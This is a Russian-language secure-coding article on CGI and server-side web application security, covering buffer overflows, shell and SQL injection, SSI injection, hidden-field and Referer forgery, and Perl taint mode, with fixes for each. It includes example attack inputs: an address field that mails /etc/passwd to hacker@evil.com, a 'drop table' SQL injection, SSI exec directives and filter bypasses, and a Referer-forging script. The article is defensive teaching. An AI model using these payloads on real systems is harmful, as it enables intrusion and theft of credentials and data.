Безопасность серверных web-приложений

Устанавливая последнюю версию Web-сервера, мы можем быть уверены хотя бы в том, что она не содержит очевидных ошибок, опубликованных по всей Сети пару лет тому назад. На появление новых ошибок производители реагируют достаточно быстро, а задача администратора сводится к тому, чтобы быть в курсе происходящего. С серверными приложениями ситуация несколько иная – на сей раз в роли разработчика зачастую выступают владельцы сайтов, которые должны сами заботиться о безопасности приложений. Не стоит особо доверять и готовым скриптам – огромное количество ошибок обнаруживается именно в примерах, поставляемых вместе с Web-серверами, а также во многих популярных скриптах.

Ошибки в серверных web-приложениях коварны, от них нельзя защититься установкой межсетевого экрана, поскольку атака с их использованием производится на уровне разрешенного протокола HTTP, и даже использование дорогостоящей системы обнаружения атак на прикладном уровне мало чем поможет в предотвращении атаки на самостоятельно написанное корпоративное приложение. Успешно же проведенная подобная атака вполне может оказаться первым шагом на пути ко взлому всей корпоративной сети.

Практически все беды начинающих программистов проистекают из надежды на то, что пользователь будет себя вести «хорошо» и обращаться с программой именно так, как задумано автором. Это справедливо не только для CGI-приложений, но и для любого программного обеспечения, однако когда автор многочисленных утилит «для себя» решает попробовать свои силы в программировании для серверов, он немедленно попадает в другую весовую категорию. Ему может казаться, что он продолжает писать «для себя», в действительности же его потенциальными пользователями становятся все обитатели сети, а уж от них ждать снисхождения не приходится. И не стоит успокаивать себя тем, что CGI-приложения выполняются в контексте пользователя с минимальными правами – даже в хорошо сконфигурированной системе этих прав зачастую достаточно для выдачи информации, которой можно воспользоваться при взломе системы.

Поэтому особенно важно с самого начала четко представлять, какие подводные камни ожидают CGI-программиста, чтобы по возможности избежать горького опыта обучения на собственных ошибках.

Несколько слов о выборе средств разработки. Компилируемые языки, такие как C/C++, имеют некоторое преимущество в том смысле, что на сервере отсутствует исходный код приложения, а это сильно затрудняет возможность его исследования – в отличие от интерпретируемых языков (Perl, PHP, ASP и т.п.). В штатных условиях код последних также недоступен, но часто есть возможность добраться до него, используя какие-то ошибки сервера или просто находя сохраненную резервную копию. С другой стороны, исходные тексты популярных CGI-приложений и так достаточно распространены в сети, кроме того, тот же Perl имеет встроенные механизмы обеспечения безопасности выполняемых скриптов, так что нельзя априори утверждать, что программа на C будет безопасней аналогичной программы на Perl. Все дальнейшие рассуждения по большей части применимы как к компилируемым, так и к интерпретируемым программам.

В данном разделе перечислены основные моменты, на которые следуют обращать внимание в первую очередь при разработке и аудите web-приложений. Разумеется, в каждом конкретном случае могут возникать и другие проблемные ситуации, основанные, например, на логике работы данного скрипта.

Переполнение буфера.

Пришедшая к нам из 70-х годов, более всего эта ошибка характерна, конечно, для программистов на C/C++. Программисту на Perl или Java обычно нет необходимости заботиться о ручном выделении памяти под строки, но и здесь полученная строка может быть передана дальше, внешнему приложению либо sql-серверу, так что забывать о контроле для длиной строк не стоит.

Например, для получения данных, переданных методом POST, можно написать следующий код:

```
char buff [4096];
int length = atoi(getenv(“CONTENT_LENGTH"));
fread(buff, 1, length, stdin);
```

Возможное переполнение буфера налицо. Справиться с этой проблемой очень легко – достаточно динамически выделить буфер требуемой длины:

```
int length = atoi(getenv(“CONTENT_LENGTH"));
char* buff = new char[length];
if(buff) fread(buff, 1, length, stdin);
```

Потенциально опасны многие строковые функции, определяющие конец строки по завершающему нулю. Поэтому вместо функций strcpy, strcat, strcmp и т. п. настоятельно рекомендуется использовать их аналоги strncpy, strncat, strncmp, позволяющие указать максимальное количество обрабатываемых символов.
Казалось бы, можно ограничить объем вводимой информации указанием соответствующих параметров в тэгах формы, но это еще одно очень опасное заблуждение, которого мы коснемся чуть позже.
Возможно, именно из-за необходимости постоянно контролировать размер буфера, многие начинающие (и не только) CGI-программисты предпочитают Perl.

Передача нефильтрованного пользовательского ввода внешним приложениям и функциям по работе с файлами.

Может привести к чтению либо записи в файлы, находящиеся вне дерева документов www-сервера (если пользовательский ввод содержит нечто вроде ../../../my/secret/file), и содержащие критичную информацию, например, пользовательские пароли.
Кроме того, при этом вполне может быть использована какая-нибудь недокументированная команда или люк, позволяющие выполнить код от имени привилегированного пользователя.
Под пользовательским вводом понимается как информация, полученная непосредственно из полей ввода html-формы, так и из cookie, и даже из собственной базы данных (кто знает, насколько надежно осуществлялся отсев пользовательского ввода пару лет назад, когда заполнялась эта база). Для ASP это относится также и к сессионным переменным, являющимися по сути дела теми же cooke.

Вызов внешних приложений с использованием командной оболочки.

Это частный и весьма популярный случай рассмотренной ранее передачи пользовательского ввода внешним приложениям. Если в процессе вызова внешней программы будет участвовать командная оболочка, то, можно воспользоваться ее управляющими символами, передав в пользовательском вводе ее команды, скомбинированные с символами-разделителями. Т.е. фактически выполнить на сервере любую команду.
У C++ с этой точки зрения потенциально опасны функции popen и system (причем вместо последней часто можно безболезненно воспользоваться exec или spawn), у Perl проблемными являются функции system и exec, open с перенаправлением вывода (аналогичная popen), функция eval, а также обратная кавычка «`». Аналогичные функции используются в php, в ASP же прямой аналог отсутствует – функция CreateObject, создающая объект автоматизации и в том числе служащая для вызова внешних приложений, избавлена от недостатка функций, использующих командную оболочку.
Сами по себе перечисленные функции достаточно безопасны, и, если скрипт просто вызывает некую внешнюю программу, никакой беды в этом нет. Сложности возникают, когда скрипт передает внешней программе в качестве параметра некую информацию, введенную пользователем: адрес, сообщаемый программе электронной почты, вызов grep из поисковой системы и т. д.
Очевидный пример – отправление письма по адресу, указанному пользователем (например, в качестве подтверждения какого-то запроса и т. п.):

```
#!/usr/bin/perl
use CGI qw(:standard);
$query = new CGI;
$mailprog='| /usr/sbin/sendmail';
$address= $query->param(’address’);
$from=’webmaster@somehost’;
open (MAIL,"$mailprog $address");
print MAIL "From: $from\nSubject: Confirmation\n\n";
print MAIL "Your request was successfully received\n";
close MAIL;
```

Теперь предположим, что пользователь ввел следующий обратный адрес: hacker@evil.com;mail hacker@evil.com </etc/passwd;
в результате чего выполнится команда /usr/sbin/sendmail hacker@evil.com;mail hacker@evil.com </etc/passwd; – явно не то, что мы ожидали.

При использовании sendmail избавиться от ошибки очень легко – достаточно применить ключ «–t», запрещающий использовать адрес, переданный в командной строке, и передать его в заголовке письма:

```
...
$mailprog='| /usr/sbin/sendmail -t';
open (MAIL,"$mailprog ");
print MAIL "To: $address\nFrom: $from\nSubject: Confirmation\n\n";
print MAIL "Your request was successfully received\n";
received\n";
close MAIL;
```

Если же никак не удается избавиться от необходимости передачи пользовательского ввода оболочке, остается фильтровать в нем все специальные символы. Этих символов довольно много:
<>|&;`\"*$?~^()[]{}\n\r.
Кроме того, при вызове системных функций особо осторожно стоит работать с «нулевым» символом – \0. Дело в том, что для системных функций, написанных, как правило, на C, нулевой символ является признаком конца строки. Для Perl же нулевой символ вполне может оказаться частью строки. В итоге строка, которая проверяется perl-скриптом, и передается такой функции, может оказаться совсем не похожей на то, что получит функция.
Самое простое, что можно сделать, – удалить все спецсимволы из введенной строки с помощью конструкции примерно такого вида:

```
$metasymbols = "][<>\|&;`'\"*\$\?~\^(){}\n\r";
$string =~ s/[$metasymbols\\]//g;
```

Помимо этого постарайтесь гарантировать соответствие ввода предусмотренному шаблону. Скажем, для того же почтового адреса этим шаблоном может быть name@domain1.domain2, что чаще всего делается на Perl следующим образом:

```
die "Wrong address" if ($address !~ /^\w[\w\-.]*\@[\w\-.]+$/);
```

Здесь в начале и в конце строки ожидается один или несколько символов a-z, A-Z, 0-9, «-», «.» и «@» внутри, причем «-» или «.» не могут быть первыми. Правда, это не слишком помогает против атак, подобных приведенной выше, достаточно завершить наш псевдоадрес чем-нибудь типа ;@somewhere.ru.
Если же у вас нет желания фильтровать спецсимволы, можно использовать другой вариант вызова функций system и exec, позволяющий передать не один аргумент, а список аргументов. В этом случае Perl не передает список аргументов в оболочку, а рассматривает первый аргумент как подлежащую выполнению команду, и остальные аргументы – как параметры этой команды. Причем обычная для оболочки интерпретация спецсимволов не производится:
вместо system "grep $pattern $files"; использовать system "grep", "$pattern", "$files";.
Этим же свойством можно воспользоваться для безопасного перенаправленного ввода/вывода. При этом нам понадобится знание того факта, что при открытии с перенаправлением вывода команды «-» мы неявно вызываем fork, создавая тем самым копию нашего процесса. В такой ситуации функция open возвращает 0 для дочернего процесса и pid дочернего процесса для родительского, что позволяет применять оператор or:

```
open (MAIL, "|-") or exec $mailprog, $address;
        #open в родительском процессе возвращает ненулевое значение,
        # и нет
#необходимости выполнять правую сторону or. Дочерний же процесс
#выполняет exec, после чего завершается.
print MAIL "From: $from\nSubject: Confirmation\n\n";
print MAIL "Your request was successfully received\n";
close MAIL;
```

Передача нефильтрованного ввода SQL-серверу.

Еще один частный случай передачи нефильтрованного пользовательского ввода, заслуживающий отдельного упоминания. Использование аналогично предыдущему пункту – вставка в запрос символов-разделителей (как правило, «;») в сочетании с командами сервера (exec – для вызова встроенных процедур, drop table для удаления таблицы и т.п.).
Простейший пример – запрос вида **select * from userbase where name='$name'**, где $name содержит пользовательский ввод. Если введено нечто вроде «anyname';drop table 'userbase», наш запрос преобразится в

select * from userbase where name='anyname';drop table 'userbase'.
Бороться с данными ошибками довольно легко – для строковых полей достаточно проверять наличие одиночной кавычки в пользовательском вводе и замена ее на две кавычки (в Perl этого эффекта легко добиться использованием функции DBI::quote), для числовых – необходимо убедиться, что ввод представляет собой именно число (простейший способ добиться этого в Perl – добавить к полученному значению 0).

Расчет на определенные значения специальных переменных

К примеру, на значение переменной PATH при вызове внешних программ. Нарушитель может попытаться изменить ее значение так, чтобы она указывала на программу, которую он хочет подставить для выполнения вашим сценарием вместо ожидаемой вами. Следовательно, необходимо либо указывать полный путь до исполняемой программы, либо устанавливать ее значение до первого использования. Причем не рекомендуется помещать в PATH текущий путь (данное правило, к сожалению, игнорируется во всех Windows-системах, начинающих поиск запускаемой программы именно с текущего каталога).

Вывод избыточной информации.

Например, при выдаче сообщений об ошибках. Частенько здесь можно получить информацию о каталогах, в которых расположены приложения либо их модули. Неразумно также выдавать сообщения типа «идентификатор пользователя должен состоять из 8 чисел, сгруппированных в 2 группы, разделенные дефисом».
Авторам анализаторов статистики, программ администрирования форумов, чатов и т.п., показывающих ip-адрес клиента, адрес страницы, с которой он пришел, и прочую служебную информацию, не стоит забивать о том, что, в отличие от переменной окружения REMOTE_ADDR, переменные HTTP_REFERER и HTTP_X_FORWARDED_FOR формируются клиентом либо прокси, которые могут подставить туда не только «правильную» информацию, но и любой текст. Понятно, к чему может привести появление постороннего html-кода на странице администратора.

Расчет на значения, заданные в полях формы

А именно, что ограничения на длину полей ввода и значения спрятанных полей не будут никем модифицированы. В действительности же никто не может помешать пользователю подсмотреть значения скрытых полей в исходном коде страницы, скопировать страницу на свой диск, слегка модифицировать по своему усмотрению и проверить скрипт на прочность.
Первым барьером на этом пути обычно служит проверка переменной окружения HTTP_REFERER, хранящей URL страницы, с которой был вызван скрипт. Если HTTP_REFERER указывает на адрес, не имеющий ничего общего с адресом нашего сайта, можно смело игнорировать этот вызов, рассматривая его как атаку.
Использовать HTTP_REFERER эффективно в борьбе со спаммерами, засоряющими гостевые книги, доски объявлений и т.п. Конечно, в большинстве случаев помогает блокировка соответствующего IP-адреса, сочетающаяся с установкой cookie, однако более настойчивый пользователь может подготовить html-код с формой, вызывающей ваш скрипт гостевой книги, и пару строк на JavaScript, автоматически отправляющих эту форму, после чего разместить html-код в чужих гостевых книгах, разослать его по телеконференциям и т.п. При отсутствии проверки на HTTP_REFERER несколько веселых дней вам гарантировано.
К сожалению, не все так хорошо и с проверкой. Переменная HTTP_REFERER получает свое значение из http-заголовка Referer, передаваемого клиентом. Если в роли клиента выступает обычный браузер, этот заголовок действительно заполняется так, как мы и предполагали. Но проблема в том, что никто не помешает воспользоваться клиентом, ведущим себя менее добросовестно, к примеру, вот таким скриптом, подделывающим заголовок Referer:

```
#!/usr/bin/perl -w
use Socket;
$proto = getprotobyname('tcp');
socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);
$port = 80;
$host = "www.victim.com";
$sin = sockaddr_in($port,inet_aton($host));
connect(Socket_Handle,$sin);
```

```
send Socket_Handle,"GET /cgi-bin/env.cgi?".
                                "param1=val1&param2=val2 HTTP/1.0\n",0;
send Socket_Handle,"Referer: any referer you wish\n",0;
send Socket_Handle,"User-Agent: my agent\n",0;
send Socket_Handle,"\n",0;
while (<Socket_Handle>)
{
        print;
}
close (Socket_Handle);
```

В нашем случае имитируется отправление данных формы методом GET, но для имитации метода POST, как мы помним, тоже нет серьезных препятствий. С точки зрения безопасности эти методы примерно равнозначны. Некоторое предпочтение можно отдать POST, поскольку GET передает всю информацию непосредственно в URL, что делает ее более доступной для перехвата. Представим ситуацию, когда некоторая форма требует ввода имени и пароля и передает их методом GET. Далее динамически формируется страница, имеющая ссылку на другой сервер. Если посетитель уйдет по этой ссылке, то в качестве Referer в log-файл сервера будет записан тот самый URL, в котором открыто прописаны имя пользователя и его пароль. Опять же GET легче поддается имитации – для его подделки необязательно копировать и модифицировать код формы, достаточно набрать в адресной строке браузера подходящий URL.

Наиболее эффективный способ борьбы с подделкой hidden-полей – передача в отдельном поле их контрольной суммы в зашифрованном виде, возможно, в сочетании с полным шифрованием всех значений.

Хранение критичной информации в открытых для доступа файлах

Можно, конечно, утешать себя мыслью, что адреса файлов еще надо определить, но в любом случае это решение считается неудачным: всегда есть шанс, что из-за плохой конфигурации сервера станет возможным просмотр списка файлов в каталоге и наша информация будет выставлена на всеобщее обозрение; нельзя исключать возможность распространения нашего скрипта – он завоюет популярность, его исходные тексты станут доступными по всей сети, и месторасположение секретных файлов опять-таки перестанет быть тайной.

Источником утечек могут служить включаемые файлы (.INC в ASP, .PL в Perl'е), часто не являющиеся исполняемыми сами по себе и отдающиеся веб-сервером в виде простого текстового файла.

Поэтому файлы с критичной информацией желательно располагать в местах, по возможности вынесенных за пределы дерева каталогов Web-сервера, или хотя бы защищенных от чтения (например, при использовании Apache этого можно добиться, разместив в защищаемом каталоге файл .htaccess со строкой deny all внутри).

Передача web-клиентам нефильтрованного пользовательского ввода

Источник многих проблем для сайтов с установленными гостевыми книгами (или аналогичными скриптами) – html-тэги. Разрешив пользователю ввод тэгов, вы тем самым провоцируете атаку и на других пользователей, и на сервер. Последнее возможно в случае, если сервер сконфигурирован таким образом, что файлы, создаваемые скриптом, допускают использование **SSI** (Server Side Includes – директивы включения на стороне сервера). SSI позволяют вставить в html-документ результат выполнения некоторой программы, содержимое другого файла, значение переменной окружения и т. д. Директивы SSI имеют следующий вид:

<!--*#команда параметр*="*аргумент*"-->

Например:

```
<!--#include virtual="/some.html"-->
<!--#exec cgi="/cgi-bin/some.cgi"-->
<!–exec cmd="/bin/somecommand"-->
```

Чтобы не допускать к использованию SSI всех посетителей сервера, можноразрешить SSI-директивы только в файлах с определенным расширением (обычно *.shtml), тогда в файлах *.html, создаваемых скриптами, команды SSI будут восприниматься как простой комментарий. Однако подобное решение далеко не всегда устроит разработчика сайта.

Следующий способ – полная фильтрация тэгов. Самое простое – заменить все символы «<» и «>» на коды «<» и «>» соответственно:

```
$string =~ s/</&lt;/g;
$string =~ s/>/&gt;/g;
```

Другой вариант – удалить все, что находится внутри угловых скобок:

```
$string =~ s/<([^>]|\n)*>//g;
```

Опять же не все Web-мастера желают лишать своих посетителей возможности вставки кодов для красивого оформления текста. Тогда последнее, что остается сделать, – фильтровать часть кодов, оставляя лишь самые «безопасные». Это наиболее трудоемкий и потенциально опасный путь:

```
@BADTAG = (
"applet",
"script",
"iframe",
#и т. д., все "опасные" тэги
"img"
);
foreach $t(@BADTAG)
{
        $string =~ s/<$t/<none/gi;
        $string =~ s/</$t/</none/gi;
}
```

Такой подход чреват некоторыми опасностями. Например, известный скрипт formmail Мэтта Райта в последнее время фильтрует SSI следующим образом:

```
value =~ s/<!--(.|\n)*-->//g;
```

Это несомненный прогресс по сравнению с первыми версиями, просто пропускавшими SSI. Однако проблема в том, что Apache, по крайней мере, не требует присутствия закрывающих символов «-->» для выполнения указанной директивы, поэтому злоумышленник может добиться своего, просто введя строку <!--#include virtual="some.html".

Казалось бы, можно справиться с проблемой, «выкусывая» <!– (value =~ s/<!--//g;), но и в этом случае остается обходной маневр: строка <<!--!--#include virtual="some.html" в итоге преобразуется в <!--#include virtual="some.html".

Достаточно безопасной можно считать конструкцию while(s/<!--//g){}, хотя и у нее есть свои минусы..

Похожие проблемы возникают на серверах, использующих ASP, PHP и т. д., причем большинство свободно распространяемых скриптов их *просто игнорирует*. Будьте крайне осторожны, адаптируя готовый скрипт к своему серверу, если он (сервер) умеет чуть больше, чем просто возвращать html-документы.

Принудительное создание безопасных CGI-приложений на Perl

В перечисленных приемах есть один недостаток – они требуют явного применения и определенной культуры программирования. Программист должен заставлять себя писать безопасный код, никогда не будучи до конца уверенным в отсутствии ошибок.

Perl, запущенный в так называемом зараженном режиме (tainted mode), позволяет снять часть этого гнета. Чтобы попасть в такой режим, достаточно указать параметр «–T».

После этого работа Perl приобретает несколько параноидельный характер. Все переменные, проинициализированные за пределами программы, считаются зараженными и не могут быть переданы в качестве параметров потенциально опасным функциям, таким как system, exec, eval, unlink, rename и т. д. Попытка использовать их таким образом прервет выполнение скрипта с выдачей соответствующего предупреждения.

Переменные, инициализированные вне программы, – это переменные, значения которых получены из параметров программы, со стандартного входа, из переменных среды. Причем эта «зараза» распространяется – так, если использовать зараженную переменную для инициализации другой переменной, та тоже станет зараженной. «Зараза» остается, даже если мы проверили переменную на отсутствие всех спецсимволов либо очистили ее от них.

Таким образом, мы устраняем возможность случайного пропуска пользовательского ввода в опасную функцию. Но как быть, если именно это нам и нужно?

Единственный способ «обеззаразить» переменную – воспользоваться регулярными выражениями и применить извлечение совпадающей подстроки при поиске по маске. Это не слишком удобно, зато

торжествует принцип "все, что не разрешено - запрещено".. Заодно приобретете опыт использования регулярных выражений, что наверняка пригодится в будущем.

```
$address =~ /(\w[\w\-.]*)\@([\w\-.]+)/;
$cleanaddress = $1.'@'.$2;
```

Все, что сопоставится выражению в первых круглых скобках, будет занесено в переменную $1, во вторых – в $2, и т. д. Переменные $1 и $2 будут уже считаться обеззараженными, и мы можем смело конструировать из них наш искомый адрес. Да, эти переменные тоже были получены из пользовательских данных, но Perl считает, что раз их значение было получено из регулярного выражения, значит, они прошли нашу проверку и можно о них не беспокоиться.

Чтобы быть уверенными до конца, можно вставить в наш код проверку:

```
if($address =~ /(\w[\w\-.]*)\@([\w\-.]+)/)
{
	$cleanaddress = $1.'@'.$2;
}
else
{
	#выдавая сообщение об ошибке на stderr
	warn "Wrong address: $address";
	$cleanaddress = "";
}
```

Тем самым, правда, отсекаются вполне законные имена типа mama&papa@home.org. Менее строгая проверка вида address=~/(\S+)\@([\w.-]+)/ пропустит и метасимволы, сведя на нет все наши усилия по обеззараживанию.

У вас может возникнуть желание обеззаразить переменную следующим образом:

```
$address =~ (.*);
$cleanaddress = $1;
```

Что ж, вольному – воля. Вы только что отключили все проверки и взяли всю ответственность на себя.

При использовании зараженного режима неожиданно может возникнуть ситуация, когда Perl откажется запускать внешнюю программу, поскольку переменная окружения PATH, с помощью которой определяется местоположение исполняемого модуля, тоже считается зараженной. Чтобы справиться с этим, достаточно проинициализировать ее вручную одним из следующих способов:

1. `$ENV{'PATH'} = '/bin:/usr/bin:/usr/local/bin';`
2. `$ENV{'PATH'} = '';`